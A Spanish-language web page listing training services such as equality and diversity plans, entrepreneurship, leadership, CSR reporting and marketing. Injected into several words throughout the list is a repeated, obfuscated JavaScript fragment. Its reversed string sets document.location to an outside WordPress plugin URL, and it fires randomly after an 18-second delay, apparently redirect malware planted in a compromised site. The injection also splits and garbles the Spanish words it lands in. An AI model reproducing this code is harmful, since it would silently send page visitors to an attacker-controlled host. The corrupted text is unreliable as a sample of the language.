Formación

Formación

Herramienta imprescindible, para el desarrollo de las personas y organizaciones,  facilitadora de adaptación a los cambios.

  • Diversidad. Igualdad de oportunidades
    • Plan de igualdad: Diagnóstico, implantación, seguimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to y evaluación.
    • Plan de diversidad: Diagnóstico, implantación, seguimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to y evaluación.
    • Prevención contra el acoso
    • Teletrabajo con perspectiva de género.
  • Orientación para el empleo.
    • Plan de acción.
    • Diversidad
  • Emprendimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to e Intra emprendimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to
    • Creatividad
    • Innovación social
  • Liderazgo Transformador Humanista.
    • Inteligencia emocional
    • Mindfulness
  • Responsabilidad Social
    • Planes de Sostenibilidad
    • Matrices de materialidad
    • Análisis de riesgos y oportunidades
    • Memorias de RSC
    • Comunicación y posicionamientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to
    • Gestión del Voluntariado
  • Marketing
    • Redes Sociales
  • Fortalecimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de organizaciones